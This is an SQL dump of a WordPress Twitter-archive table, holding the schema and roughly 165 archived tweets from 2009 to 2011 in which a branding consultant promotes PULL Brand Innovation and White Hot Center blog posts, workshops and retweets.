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-- Table structure for table `wp_ak_twitter`
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CREATE TABLE IF NOT EXISTS `wp_ak_twitter` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `tw_id` varchar(255) NOT NULL,
  `tw_text` varchar(255) NOT NULL,
  `tw_reply_username` varchar(255) DEFAULT NULL,
  `tw_reply_tweet` varchar(255) DEFAULT NULL,
  `tw_created_at` datetime NOT NULL,
  `modified` datetime NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `tw_id_unique` (`tw_id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=189 ;

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-- Dumping data for table `wp_ak_twitter`
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INSERT INTO `wp_ak_twitter` (`id`, `tw_id`, `tw_text`, `tw_reply_username`, `tw_reply_tweet`, `tw_created_at`, `modified`) VALUES
(1, '1426858679', 'the sky is not falling, but I think the global re-set button has been pushed...read about it on the PULL blog.  wwwpullinc.com', '', '', '2009-03-31 20:50:33', '2009-04-02 18:46:41'),
(2, '1404480394', 'think about this: meaning + contribution = significant happiness or read about on www.whitehotcenter.com', '', '', '2009-03-28 00:32:42', '2009-04-02 18:46:41'),
(3, '1403896781', 'smell those orange blossoms in my grove...unbelievably sweet!', '', '', '2009-03-27 22:32:34', '2009-04-02 18:46:41'),
(4, '1390573788', 'I mean" find the time TO matter" how do we find the time TO matter to people? whoa...', '', '', '2009-03-25 21:47:35', '2009-04-02 18:46:41'),
(5, '1390292139', 'on the tweetdeck once more... where do people find the time really matter?', '', '', '2009-03-25 20:55:56', '2009-04-02 18:46:41'),
(6, '1376686025', '@berchman callme dude', 'berchman', '1376679693', '2009-03-23 17:30:14', '2009-04-02 18:46:41'),
(7, '1373615769', 'the crash of 08: the sky''s not falling as many believe... www.pullinc.com', '', '', '2009-03-23 03:05:17', '2009-04-02 18:46:41'),
(8, '1373609465', 'the crash of 08: the sky''s not falling.... @pullin.com', '', '', '2009-03-23 03:03:53', '2009-04-02 18:46:41'),
(9, '1255921968', 'FDR''s New Deal is unwinding, decades after the crime was perpetrated, the same way communism fell apart, decades after it was erected.', '', '', '2009-02-26 23:45:27', '2009-04-02 18:46:41'),
(10, '1255554475', 'check out the new post on our site www.pullinc.com on  bad change in package design... only cuz we live  work in an orange grove!', '', '', '2009-02-26 22:06:35', '2009-04-02 18:46:41'),
(11, '1238084757', 'read the "my manifesto for living an extraordinary life" at the whitehotcenter.com', '', '', '2009-02-22 20:21:35', '2009-04-02 18:46:41'),
(12, '1237889540', 'tweaking on the pullinc.com site... be concise, be real is what I hear in my head as I tweak...', '', '', '2009-02-22 19:09:24', '2009-04-02 18:46:41'),
(13, '1236135481', 'what you do must matter to people...', '', '', '2009-02-22 03:14:43', '2009-04-02 18:46:41'),
(14, '1233370545', 'Danille Laporte is  completely twitterfied...check her out...', '', '', '2009-02-21 05:12:13', '2009-04-02 18:46:41'),
(15, '1232645707', 'everyone must meet Lady Danielle whithottruth.com she is the real deal...', '', '', '2009-02-21 00:13:40', '2009-04-02 18:46:41'),
(16, '1229186290', 'such a newbie... I feel like a twit as I tweet...fun so far', '', '', '2009-02-20 02:59:14', '2009-04-02 18:46:41'),
(17, '1228321395', 'Busy in studio @berchman is here helping with some project issues', '', '', '2009-02-19 22:13:58', '2009-04-02 18:46:41'),
(18, '1227385907', 'New blog post: Happy,Happy,Happy! http://www.pullinc.com/?p=401', '', '', '2009-02-19 17:29:27', '2009-04-02 18:46:41'),
(19, '1213348470', 'New blog post: If you’re not remarkable, you won’t matter. http://www.pullinc.com/?p=389', '', '', '2009-02-15 21:44:07', '2009-04-02 18:46:41'),
(20, '1153435513', 'New blog post: How McDonald''s can lose a customer over 27¢ http://www.pullinc.com/?p=381', '', '', '2009-01-27 22:15:07', '2009-04-02 18:46:41'),
(21, '2898456966', 'New blog post: Where do you go from here? http://bit.ly/gBVmV', '', '', '2009-07-28 22:31:45', '2009-07-28 18:31:48'),
(22, '3112050507', 'New blog post:  http://www.whitehotcenter.com/2009/08/03/563/', '', '', '2009-08-03 21:52:07', '2009-08-03 17:52:09'),
(23, '3212260124', 'New blog post: DO you deserve your client''s loyalty? http://bit.ly/EOiiS', '', '', '2009-08-09 19:41:09', '2009-08-09 15:41:11'),
(24, '3560577495', 'New blog post: The temptation to copy what works. http://bit.ly/4yWl4m', '', '', '2009-08-26 17:34:14', '2009-08-26 13:34:17'),
(25, '4156670784', 'New blog post: The entrepreneur in the emerging idea economy. http://bit.ly/VeBTZ', '', '', '2009-09-21 22:01:09', '2009-09-21 18:01:12'),
(26, '9311567004', 'New blog post: Six Thinking hats http://www.whitehotcenter.com/2010/02/18/six-thinking-hats/', '', '', '2010-02-19 01:17:06', '2010-02-18 20:17:12'),
(27, '9691007214', 'gettin my digital social scene in order today... I keep hearing complexity,complexity,complexity...', '', '', '2010-02-26 18:46:55', '2010-02-26 13:49:14'),
(28, '9790509343', 'http://www.stumbleupon.com/su/206OqY/www.business-strategy-innovation.com/2010/02/radical-innovation-is-proposal-not.html', '', '', '2010-02-28 20:32:08', '2010-02-28 15:42:26'),
(29, '10040045269', 'if you don''t know where you''re going, why should anyone follow you? Do what matters to you and serves others...', '', '', '2010-03-05 20:13:36', '2010-03-05 15:23:38'),
(30, '10089990970', '[PULL Brand Innovation] Avoid a one dimensional relationship with your customers. http://aweber.com/b/TNmP', '', '', '2010-03-06 21:17:02', '2010-03-09 07:17:41'),
(31, '10330832400', 'New blog post: Sing In Your Own Voice http://www.whitehotcenter.com/2010/03/11/sing-in-your-own-voice/', '', '', '2010-03-11 17:06:28', '2010-03-11 12:06:32'),
(32, '11714683879', 'New blog post: Applause to Apple! http://bit.ly/aN0YdW #brandinnovation #branding', '', '', '2010-04-06 19:33:59', '2010-04-06 15:38:11'),
(33, '11769832077', '[PULL Brand Innovation] Applause to Apple! http://aweber.com/b/1un0n', '', '', '2010-04-07 18:30:11', '2010-04-07 14:50:50'),
(34, '11952671093', 'New blog post: Obstacles and Adversity: Raw materials for business and life success. http://bit.ly/cKu0KL', '', '', '2010-04-10 19:38:35', '2010-04-10 15:38:41'),
(35, '12119814407', 'New blog post: How to multiply your brain! http://www.whitehotcenter.com/2010/04/13/how-to-multiply-your-brain/', '', '', '2010-04-13 19:18:55', '2010-04-13 15:19:00'),
(37, '12249571901', 'New blog post: Could Social Marketing be an Oxymoron? http://bit.ly/9yJ32A #brandinnovation #branding', '', '', '2010-04-15 23:08:13', '2010-04-15 19:50:34'),
(38, '12296975034', '[PULL Brand Innovation] Could Social Marketing be an Oxymoron? http://aweber.com/b/1wlIb', '', '', '2010-04-16 18:11:04', '2010-04-16 14:12:42'),
(39, '12530915591', 'is social marketing an oxymoron?http://www.pullinc.com/could-social-marketing-be-an-oxymoron/', '', '', '2010-04-20 18:34:36', '2010-04-20 14:36:15'),
(40, '12906312680', 'New blog post: Use your creative imagination to drive innovation. http://bit.ly/cb7YA7', '', '', '2010-04-26 21:44:04', '2010-04-26 17:44:05'),
(41, '13027733515', 'New blog post: An Open Letter to Marketers http://bit.ly/c4fuVF #brandinnovation #branding', '', '', '2010-04-28 20:53:11', '2010-04-28 16:57:56'),
(42, '13028141010', '[PULL Brand Innovation] An Open Letter to Marketers http://aweber.com/b/1fE5b', '', '', '2010-04-28 21:02:08', '2010-04-28 17:15:47'),
(43, '13754152428', 'New blog post: What brand managers need to know about empathy. http://bit.ly/9pZJaA #brandinnovation #branding', '', '', '2010-05-10 23:23:09', '2010-05-10 19:30:47'),
(44, '13755378281', '[PULL Brand Innovation] What brand managers need to know about empathy. http://aweber.com/b/1j1av', '', '', '2010-05-10 23:47:07', '2010-05-10 20:03:14'),
(45, '14711245667', 'New blog post: If you want to create success, forget about competition. http://bit.ly/ajF9oO', '', '', '2010-05-25 18:56:09', '2010-05-25 14:56:11'),
(46, '14774234522', 'WhiteHotCenter -  If you want to create success, forget about competition. http://aweber.com/b/1_iKj', '', '', '2010-05-26 16:32:03', '2010-05-26 12:37:00'),
(47, '14799282818', 'New blog post: Forget your mission statement. Create a mantra! http://bit.ly/d92JKY #brandinnovation #branding', '', '', '2010-05-27 00:38:08', '2010-05-26 20:47:08'),
(48, '14799862551', '[PULL Brand Innovation] Forget your mission statement. Create a mantra! http://aweber.com/b/gadT', '', '', '2010-05-27 00:48:10', '2010-05-26 21:06:24'),
(49, '15647465503', 'New blog post: Spinning Plates on a Stick and other Life Tricks  http://bit.ly/aqFX0H', '', '', '2010-06-07 18:23:37', '2010-06-07 14:23:40'),
(50, '15732352277', 'New blog post: Part II-Spinning Plates on a Stick and other Life Tricks  http://bit.ly/aPUZ21', '', '', '2010-06-08 21:06:24', '2010-06-08 17:06:27'),
(51, '16421084906', 'New blog post: The end of brand arrogance. http://bit.ly/cEAXh9 #brandinnovation #branding', '', '', '2010-06-17 22:07:52', '2010-06-17 18:22:42'),
(52, '16422194830', '[PULL Brand Innovation] The end of brand arrogance. http://aweber.com/b/1tLtS', '', '', '2010-06-17 22:52:03', '2010-06-17 18:59:47'),
(53, '16804069175', 'New blog post: How to master the art of influence. http://www.whitehotcenter.com/2010/06/22/how-to-master-the-art-of-influence/', '', '', '2010-06-22 22:45:27', '2010-06-22 18:45:31'),
(54, '17516721518', 'New blog post: WHC Podcast: The temptation to copy what works http://bit.ly/dg2Q2v', '', '', '2010-07-01 19:51:45', '2010-07-01 15:52:40'),
(55, '18491695680', 'New blog post: When repositioning your brand – aim higher! http://bit.ly/9Jrara #brandinnovation #branding', '', '', '2010-07-14 03:56:44', '2010-07-14 00:11:16'),
(56, '18492975244', '[PULL Brand Innovation] When repositioning your brand â aim higher! http://aweber.com/b/h8Da', '', '', '2010-07-14 04:17:03', '2010-07-14 00:26:03'),
(57, '19612509268', 'New blog post: The Power of Choice http://bit.ly/aUj9G1 #brandinnovation #branding', '', '', '2010-07-26 23:58:15', '2010-07-26 20:06:54'),
(58, '19613685275', '[PULL Brand Innovation] The Power of Choice http://aweber.com/b/fCcO', '', '', '2010-07-27 00:17:02', '2010-07-26 20:21:18'),
(59, '20174348225', 'New blog post: How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development http://bit.ly/9dIlQS', '', '', '2010-08-02 23:00:46', '2010-08-02 19:00:49'),
(60, '20844803739', 'New blog post: New rules for greater consumer engagement and marketing ROI. http://bit.ly/a9h7hH #brandinnovation #branding', '', '', '2010-08-11 01:46:05', '2010-08-10 21:53:49'),
(61, '20845877804', '[PULL Brand Innovation] New rules for greater consumer engagement and marketing ROI. http://aweber.com/b/1tTUy', '', '', '2010-08-11 02:02:03', '2010-08-10 22:07:48'),
(62, '21023161514', 'New blog post: The path of least resistance to create flow mojo. http://bit.ly/a9dpLV', '', '', '2010-08-13 01:31:03', '2010-08-12 21:31:06'),
(63, '22664029372', '[PULL Brand Innovation] Targeting your best customer is a means not an end. http://aweber.com/b/10LUa', '', '', '2010-09-01 00:46:04', '2010-09-14 12:33:07'),
(64, '22663201880', 'New blog post:  Targeting your best customer is a means not an end. http://bit.ly/96XRn4 #brandinnovation #branding', '', '', '2010-09-01 00:34:37', '2010-09-14 12:33:07'),
(65, '25808228483', '[PULL Brand Innovation] Private Brands vs. Name Brands: Whoâs winning the consumerâs loyalty? http://aweber.com/b/1CnUi', '', '', '2010-09-28 18:19:05', '2010-09-28 15:32:16'),
(66, '25711318362', '"The secret of success? Fall down seven times, get up eight."  \n-Chinese Proverb', '', '', '2010-09-27 18:43:23', '2010-09-28 15:32:16'),
(67, '25526940298', 'Research: The New Path to Purchase: http://www.storebrandsdecisions.com/news/2010/09/21/research-the-new-path-to-purchase', '', '', '2010-09-25 19:57:35', '2010-09-28 15:32:16'),
(68, '25526679035', 'Walmart Shifts Private Label Strategy: http://www.storebrandsdecisions.com/news/2010/09/21/walmart-shifts-private-label-strategy-', '', '', '2010-09-25 19:53:18', '2010-09-28 15:32:16'),
(69, '24784207887', '[PULL Brand Innovation] Are focus groups really that useful in driving brand innovation? http://aweber.com/b/WgfO', '', '', '2010-09-17 19:04:03', '2010-09-28 15:32:16'),
(70, '26777652804', '[PULL Brand Innovation] Fall into the Gap of Insanity! http://aweber.com/b/1scNt', '', '', '2010-10-08 19:18:02', '2010-10-12 18:02:53'),
(71, '26415430606', '[PULL Brand Innovation] Promises Matter! http://aweber.com/b/28VwS', '', '', '2010-10-05 01:32:03', '2010-10-12 18:02:53'),
(72, '28534018353', '[PULL Brand Innovation] Building a brand to stop bullying in school! http://aweber.com/b/1f1FB', '', '', '2010-10-23 21:03:03', '2010-11-05 15:24:02'),
(73, '5680453453348864', 'The White Hot Center Quantum Leap Workshop is now open for online registration!\nWe''re bringing together 24 early-stage…http://lnkd.in/rx9kF6', '', '', '2010-11-19 17:55:00', '2010-11-19 20:42:09'),
(74, '4729008998588416', 'RT @thomsonwhc Focus your attention on your genius delegate everything else. — White Hot Center http://bit.ly/dtmDxN', '', '', '2010-11-17 02:54:18', '2010-11-19 20:42:09'),
(75, '28646966186', 'http://fb.me/MJib6wNN', '', '', '2010-10-25 01:15:42', '2010-11-19 20:42:09'),
(76, '28646920898', 'http://fb.me/Iy2Jr7mM', '', '', '2010-10-25 01:15:07', '2010-11-19 20:42:09'),
(77, '28646870840', 'http://fb.me/weJNLxn1', '', '', '2010-10-25 01:14:30', '2010-11-19 20:42:09'),
(78, '28646744113', 'In March 2011, 24 forward-thinking, early-stage entrepreneurs will come together in a special place to focus on... http://fb.me/MAfGX03Y', '', '', '2010-10-25 01:12:53', '2010-11-19 20:42:09'),
(79, '28630068630', 'awesome article: Create bigger opportunities by expanding your value... on BIZNIK http://biznik.com/h/a5cZ by @thomsonwhc - check it!', '', '', '2010-10-24 21:28:30', '2010-11-19 20:42:09'),
(80, '28404506183', 'join me in March 2011 at this Biznik event The White Hot Center Quantum Leap Workshop - http://biznik.com/h/e3LL', '', '', '2010-10-22 13:30:54', '2010-11-19 20:42:09'),
(81, '27655055050', 'RT @DigitalTonto 4 Things You Need To Be Good at Anything | Digital Tonto http://bit.ly/a4grZm', '', '', '2010-10-17 17:08:43', '2010-11-19 20:42:09'),
(82, '27167398635', 'Social Media Facts http://t.co/bmFzjio', '', '', '2010-10-12 19:31:42', '2010-11-19 20:42:09'),
(83, '26866836254', 'Oddpodz Weekly Wrap-Up: | Start your business http://bit.ly/cBAGmh', '', '', '2010-10-09 18:35:54', '2010-11-19 20:42:09'),
(84, '26699996214', 'RT @thomsonwhc The Quantum Leap Workshop™ begins March 2011! — White Hot Center http://bit.ly/bPGcst', '', '', '2010-10-08 00:25:43', '2010-11-19 20:42:09'),
(85, '26474212577', 'Seven Top Tips for LinkedIn Success | RandySchrum.com - Learn How Sales & Marketing Work with Social Media http://bit.ly/cEIWlV', '', '', '2010-10-05 17:04:56', '2010-11-19 20:42:09'),
(86, '26039884807', 'RT @thomsonwhc WHC Podcast: The temptation to copy what works http://bit.ly/d3jH9M', '', '', '2010-10-01 02:24:17', '2010-11-19 20:42:09'),
(87, '26038917793', 'RT @thomsonwhc Rain Dancing...  — White Hot Center http://bit.ly/btlxMN', '', '', '2010-10-01 02:13:23', '2010-11-19 20:42:09'),
(88, '26038842399', 'RT @thomsonwhc Ideas for thriving in uncertain times. — White Hot Center http://bit.ly/bAoJWJ', '', '', '2010-10-01 02:12:32', '2010-11-19 20:42:09'),
(89, '25711365110', '"The secret of success? Fall down seven times, get up eight."  \n-Chinese Proverb', '', '', '2010-09-27 18:44:06', '2010-11-19 20:42:09'),
(90, '25620739487', 'RT @DigitalTonto The Right Way to Be Wrong http://bit.ly/bb70aC', '', '', '2010-09-26 20:19:29', '2010-11-19 20:42:09'),
(91, '25619289111', 'RT @thomsonwhc Leadership = the quality of your presence. — White Hot Center http://bit.ly/aSwjpq', '', '', '2010-09-26 19:58:10', '2010-11-19 20:42:09'),
(92, '25538681024', '@thomsonwhc awesome article: Leadership = the quality of your presence. on BIZNIK http://biznik.com/h/a55E - check it!', '', '', '2010-09-25 23:11:19', '2010-11-19 20:42:09'),
(93, '6780976902443008', 'Value creators rule, while order takers are soon forgotten in the slush pile! \nhttp://www.whcquantumleap.com/index.html', '', '', '2010-11-22 18:48:05', '2010-11-22 13:54:54'),
(94, '6886315593310208', 'At the early-stage of your success, what do you care most about that will guide you to your bigger future: http://www.whcquantumleap.com', '', '', '2010-11-23 01:46:40', '2010-11-22 20:50:24'),
(95, '7880731393003520', 'Happy Thanksgiving to all in the US. For everyone else Happy Thanksgiving!', '', '', '2010-11-25 19:38:07', '2010-11-25 14:52:08'),
(96, '8306812071714816', '@thomsonwhc awesome article: Create marketplace demand rather than fulfill it.  on BIZNIK http://biznik.com/h/a5mG - check it!', '', '', '2010-11-26 23:51:12', '2010-11-26 18:59:58'),
(97, '8945124339884033', 'Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the ke…http://lnkd.in/sDs8he', '', '', '2010-11-28 18:07:38', '2010-11-28 13:19:48'),
(98, '9028098649489408', 'awesome article: How to authentically stand for your work when you''re d... on BIZNIK http://biznik.com/h/a5mt by @shaboom - check it!', '', '', '2010-11-28 23:37:21', '2010-11-28 18:42:30'),
(99, '13043020924456960', 'awesome article: In the new economy, it’s your ideas that are highly... on BIZNIK http://biznik.com/h/a5qy by @thomsonwhc - check it!', '', '', '2010-12-10 01:31:13', '2010-12-09 20:36:44'),
(100, '13092851772563457', '@CatsEyeWriter awesome article: 10 Reasons I Won''t Leave a Comment on Your Blog on BIZNIK http://biznik.com/h/a5o5 - check it!', '', '', '2010-12-10 04:49:13', '2010-12-10 00:06:36'),
(101, '14473507316436992', 'RT @jonathanfields The Making of The Millionaire’s Magician http://bit.ly/ejqhn2', '', '', '2010-12-14 00:15:27', '2010-12-13 19:21:05'),
(102, '14525426223284224', 'new post on the WhiteHotCenter :   http://bit.ly/i4QjFU', '', '', '2010-12-14 03:41:46', '2010-12-13 22:41:49'),
(103, '14523131943190528', 'RT @thomsonwhc In the new economy, it’s your ideas that are highly valued–not your time. — White H.. http://bit.ly/i4QjFU', '', '', '2010-12-14 03:32:39', '2010-12-13 22:41:49'),
(104, '15893591972904960', 'New blog post: Reflections on the year 2010. http://www.whitehotcenter.com/2010/12/17/reflections-on-the-year-2010/', '', '', '2010-12-17 22:18:22', '2010-12-17 17:18:24'),
(105, '15936294685245440', 'RT @thomsonwhc Reflections on the year 2010. — White Hot Center http://bit.ly/eeOPyL', '', '', '2010-12-18 01:08:03', '2010-12-17 20:17:45'),
(106, '18754555567144960', 'awesome article: The Tao of the Internet on BIZNIK http://biznik.com/h/a5tw by @CapitalistOne - check it!', '', '', '2010-12-25 19:46:49', '2010-12-25 14:50:52'),
(107, '19544419946471424', 'RT @thomsonwhc Leadership = the quality of your presence. — White Hot Center http://bit.ly/aSwjpq', '', '', '2010-12-28 00:05:27', '2010-12-27 19:07:17'),
(108, '19544356725727233', 'RT @thomsonwhc Fish Don’t Know They’re Wet — White Hot Center http://bit.ly/hSX8vw', '', '', '2010-12-28 00:05:12', '2010-12-27 19:07:17'),
(109, '19544139439800320', 'RT @thomsonwhc Meaning + Contribution = Significance — White Hot Center http://bit.ly/dVUhLb', '', '', '2010-12-28 00:04:20', '2010-12-27 19:07:17'),
(110, '19545020335915008', 'RT @thomsonwhc Work Less, Accomplish more! http://bit.ly/a5I9CE', '', '', '2010-12-28 00:07:50', '2010-12-27 19:18:26'),
(111, '20980102439378944', 'awesome article: Three important areas of focus for entrepreneurs in... on BIZNIK http://biznik.com/h/a5uh by @thomsonwhc - check it!', '', '', '2010-12-31 23:10:20', '2010-12-31 18:17:16'),
(112, '21295127335018497', 'RT @Bryan_Franklin How To Fold Time And Space – The Entrepreneur’s Magic Wand http://bit.ly/bCdFPA', '', '', '2011-01-01 20:02:08', '2011-01-01 15:04:58'),
(113, '21298757752594432', '@thomsonwhc awesome article: Three important areas of focus for entrepreneurs in... on BIZNIK http://biznik.com/h/a5uh - check it!', '', '', '2011-01-01 20:16:34', '2011-01-01 15:18:14'),
(114, '21298513287581696', 'RT @Bryan_Franklin Chip Conley on Our Dying Economy And What To Do About It http://bit.ly/daq26Y', '', '', '2011-01-01 20:15:35', '2011-01-01 15:18:14'),
(115, '21935291816214528', 'New blog post: 2011: Rock the needle! http://www.whitehotcenter.com/2011/01/03/2011-rock-the-needle/', '', '', '2011-01-03 14:25:55', '2011-01-03 09:25:58'),
(116, '21935644674621440', 'RT @thomsonwhc Rock the needle:move from dreaming to doing! — White Hot Center http://bit.ly/gRF6gF', '', '', '2011-01-03 14:27:19', '2011-01-03 09:36:06'),
(117, '24931659031781376', 'New Starbucks Logo: A Bad Idea?: Branding Strategy Insider http://t.co/ioxDMJ3 via @AddThis', '', '', '2011-01-11 20:52:25', '2011-01-11 15:55:17'),
(118, '25386266996510720', 'Reading: "Influencing Your CEO To Support Brand Management"( http://twitthis.com/xgm2dm )', '', '', '2011-01-13 02:58:52', '2011-01-12 22:14:15'),
(119, '25386264970657793', 'Download the Twitter Toolbar and rt to win an ipad! http://twitbar.net', '', '', '2011-01-13 02:58:51', '2011-01-12 22:14:15'),
(120, '25719432592498688', 'Killing A Sacred Cash Cow Brand To Thrive: Branding Strategy Insider http://t.co/G3hefTB via @AddThis', '', '', '2011-01-14 01:02:45', '2011-01-13 20:06:17'),
(121, '27420827704098816', 'awesome article: Big ideas for entrepreneurs who want to play a big... via BIZNIK http://biznik.com/h/a5yP by @thomsonwhc - check it!', '', '', '2011-01-18 17:43:29', '2011-01-18 12:51:20'),
(122, '27449195073900544', 'RT @thomsonwhc Essential steps for realizing your next level of growth and success! — White Hot Ce.. http://bit.ly/i8d6Mb', '', '', '2011-01-18 19:36:12', '2011-01-18 14:36:36'),
(123, '29955065578000385', 'RT @ThisIsSethsBlog Seth''s Blog: Eight Lessons from the life and work of Jack LaLanne http://bit.ly/huVWP8', '', '', '2011-01-25 17:33:38', '2011-01-25 12:36:41'),
(124, '29976387393683456', 'RT @thomsonwhc When the heart is right, the head thinks “I CAN”. — White Hot Center http://bit.ly/eiTPkf', '', '', '2011-01-25 18:58:22', '2011-01-25 14:04:22'),
(125, '30438871250505730', 'RT @thomsonwhc Fish Don’t Know They’re Wet — White Hot Center http://bit.ly/hSX8vw', '', '', '2011-01-27 01:36:07', '2011-01-26 20:40:06'),
(126, '30441102146281474', 'RT @thomsonwhc The entrepreneur in the emerging idea economy. http://bit.ly/ejxFd8', '', '', '2011-01-27 01:44:58', '2011-01-26 20:51:54'),
(127, '30689852773105665', 'BrandingInsider\n  \nBranding Debate: Does Logo Design Really Matter? http://goo.gl/fb/g6zeL', '', '', '2011-01-27 18:13:25', '2011-01-27 13:17:33'),
(128, '34313629176176640', 'new post from the whc blog... let your heart lead... http://fb.me/GFeX3QzZ', '', '', '2011-02-06 18:13:01', '2011-02-06 13:18:22'),
(129, '35481867901739008', 'New blog post: Mastering the Art of Prospecting. http://www.whitehotcenter.com/2011/02/09/mastering-the-art-of-prospecting/', '', '', '2011-02-09 23:35:11', '2011-02-09 18:35:13'),
(130, '35482202569441280', 'RT @thomsonwhc Mastering the Art of Prospecting. — White Hot Center http://bit.ly/fgC7sW', '', '', '2011-02-09 23:36:30', '2011-02-09 18:46:32'),
(131, '36475093563609088', 'RT @digitaltonto The Passion Economy http://bit.ly/fiTTu0', '', '', '2011-02-12 17:21:54', '2011-02-12 12:22:02'),
(132, '36802890806861824', 'http://lnkd.in/RbaZKF Joshua--- great comment indeed.  We all have brands that we are attached to. Attachment, connection, belief,...', '', '', '2011-02-13 15:04:27', '2011-02-13 10:22:57'),
(133, '38644036894064640', 'http://lnkd.in/p9Vmm9 Great discussion--- I''ve seen two types of agency people in my career...order takers and value creators. If you...', '', '', '2011-02-18 17:00:31', '2011-02-18 12:10:07'),
(134, '39748922754863104', 'awesome article: Wildly Dedicated: Professional Development Lessons from the Ar... via BIZNIK http://biznik.com/h/a5Hc  - check it!', '', '', '2011-02-21 18:10:56', '2011-02-21 13:13:12'),
(135, '40189892684152832', 'this is cool momentum for starbucks  http://bit.ly/cV3EmE #SEO', '', '', '2011-02-22 23:23:11', '2011-02-22 18:25:34'),
(136, '42598666275532800', 'Off-Brand Experience | Thoughts & Notions | Blackcoffee http://bit.ly/eAwJkF', '', '', '2011-03-01 14:54:48', '2011-03-01 10:01:47'),
(137, '43040478714789888', 'JCPenney''s Logo Is Changing, Bet You Won''t Notice http://t.co/A41KUnx via @adage', '', '', '2011-03-02 20:10:24', '2011-03-02 15:12:04'),
(138, '43094776958038016', 'Another big apparel retailer sports a crowd sourced logo. Did you notice? http://t.co/UZAcIrW', '', '', '2011-03-02 23:46:10', '2011-03-02 18:56:35'),
(139, '45918445082132480', 'Reading: "Sacrifice And Focus: Power For Brands"( http://twitthis.com/htojgl )', '', '', '2011-03-10 18:46:25', '2011-03-10 13:54:03'),
(140, '46264062601998337', '8 key stages to qualifying a prospect | The Growth Academy: http://thegrowthacademy.com/2011/03/8-key-stages-to-qualifying-a-prospect/', '', '', '2011-03-11 17:39:46', '2011-03-11 12:40:41'),
(141, '46274521510055936', 'RT @GreenBiz 7th Generation Debuts 4x Laundry Detergent in Paper Bottle | Design | GreenBiz.com http://grn.bz/fZWBtS', '', '', '2011-03-11 18:21:20', '2011-03-11 13:33:58'),
(142, '49882247343505408', 'RT @tweetmeme Why Almost Everything You Hear About Digital Media is Wrong http://bit.ly/ianrxG', '', '', '2011-03-21 17:17:09', '2011-03-21 13:18:27'),
(143, '52397147085213696', 'RT @digitaltonto 3 Levels of Strategy http://bit.ly/dP1p4X', '', '', '2011-03-28 15:50:28', '2011-03-28 11:51:28'),
(144, '53534991430324224', 'RT @GreenBiz Grocery Companies Plan 2.5 Billion Pounds of Packaging Cuts | Business | GreenBiz.com http://grn.bz/h9gFq6', '', '', '2011-03-31 19:11:51', '2011-03-31 15:17:30'),
(145, '56062028116279296', 'I am the Brand! http://t.co/wEBF60c', '', '', '2011-04-07 18:33:23', '2011-04-07 14:34:45'),
(146, '56114002706698240', 'Reading: "Brand Research And Consumer Decision-Making "( http://twitthis.com/kdcme6 )', '', '', '2011-04-07 21:59:55', '2011-04-07 18:07:17'),
(147, '58280809345466368', 'Food Worth Dying For? - http://www.brand-modeling.com/food-worth-dying-for/', '', '', '2011-04-13 21:30:02', '2011-04-13 17:39:49'),
(148, '58670687623192577', 'From Control to Influence – Brand Leadership in a Networked Era | Thinking | Prophet http://t.co/hcGC9Jx via @AddThis', '', '', '2011-04-14 23:19:16', '2011-04-14 19:30:15'),
(149, '58718593134759936', 'I created group The White Hot Center on Linkedin.: http://lnkd.in/iyPj2f', '', '', '2011-04-15 02:29:38', '2011-04-14 22:44:28'),
(150, '60103513925107712', 'I''m speaking at the AIGA Santa Barbara on May 18th... hope to see you all there  http://www.santabarbara.aiga.org', '', '', '2011-04-18 22:12:49', '2011-04-18 18:20:48'),
(151, '62595318763618304', 'RT @thomsonwhc The seed of better outcomes in your business development conversations. — White Hot.. http://bit.ly/exidp7', '', '', '2011-04-25 19:14:21', '2011-04-25 15:14:57'),
(152, '62595059413032961', 'Thomson Dawson - http://santabarbara.aiga.org/thomson-dawson/', '', '', '2011-04-25 19:13:19', '2011-04-25 15:14:57'),
(153, '62596466065158144', 'Know what you want, expect it will be delivered. — White Hot Center http://fb.me/H9ZVMViS', '', '', '2011-04-25 19:18:55', '2011-04-25 15:25:06'),
(154, '62596305599467520', 'The seed of better outcomes in your business development conversations. — White Hot Center http://fb.me/TSY0Swvb', '', '', '2011-04-25 19:18:16', '2011-04-25 15:25:06'),
(155, '65489019265490944', 'Lost in Translation: The gap between brand strategy and creative messaging. http://t.co/miRCjeE', '', '', '2011-05-03 18:52:53', '2011-05-03 15:02:02'),
(156, '66598474401067011', 'RT @tweetmeme Taking Design Thinking Up a Level: Brand Driven Innovation | InnovationManagement http://bit.ly/hJXfAT', '', '', '2011-05-06 20:21:28', '2011-05-06 16:28:20'),
(157, '68832750462976001', 'RT @thomsonwhc Create bigger opportunities by expanding your value. — White Hot Center http://bit.ly/asmHJ9', '', '', '2011-05-13 00:19:41', '2011-05-12 20:24:22'),
(158, '68832527804137472', 'RT @thomsonwhc The entrepreneur in the emerging idea economy. http://bit.ly/ejxFd8', '', '', '2011-05-13 00:18:48', '2011-05-12 20:24:22'),
(159, '68831983291215872', 'RT @thomsonwhc Leadership = the quality of your presence. — White Hot Center http://bit.ly/aSwjpq', '', '', '2011-05-13 00:16:38', '2011-05-12 20:24:22'),
(160, '68831879536713729', 'RT @thomsonwhc Fish Don’t Know They’re Wet — White Hot Center http://bit.ly/hSX8vw', '', '', '2011-05-13 00:16:13', '2011-05-12 20:24:22'),
(161, '72041554008752128', 'RT @thomsonwhc You won’t find the time unless you make the time. — White Hot Center http://bit.ly/mbul1M', '', '', '2011-05-21 20:50:19', '2011-05-21 16:51:59'),
(162, '72039707218944000', 'Start now, even a small amount of time can start a new beginning. http://fb.me/Tzkb1vCc', '', '', '2011-05-21 20:42:59', '2011-05-21 16:51:59'),
(163, '72050171311173632', 'RT @thomsonwhc Meaning + Contribution = Significance — White Hot Center http://bit.ly/dVUhLb', '', '', '2011-05-21 21:24:34', '2011-05-21 17:32:05'),
(164, '72049523911966720', 'RT @thomsonwhc Affirm what is important to you everyday. — White Hot Center http://bit.ly/kjdhx0', '', '', '2011-05-21 21:21:59', '2011-05-21 17:32:05'),
(165, '72651477625212928', 'The Positive Effects Of Cause-Related Marketing http://t.co/Xws8CW5', '', '', '2011-05-23 13:13:56', '2011-05-23 09:20:58'),
(166, '76774108402159617', 'Wrapping a crazy week.. wondering what''s next as the summer takes shape... the plan is to keep on keepin on. How bout you?', '', '', '2011-06-03 22:15:48', '2011-06-03 18:23:46'),
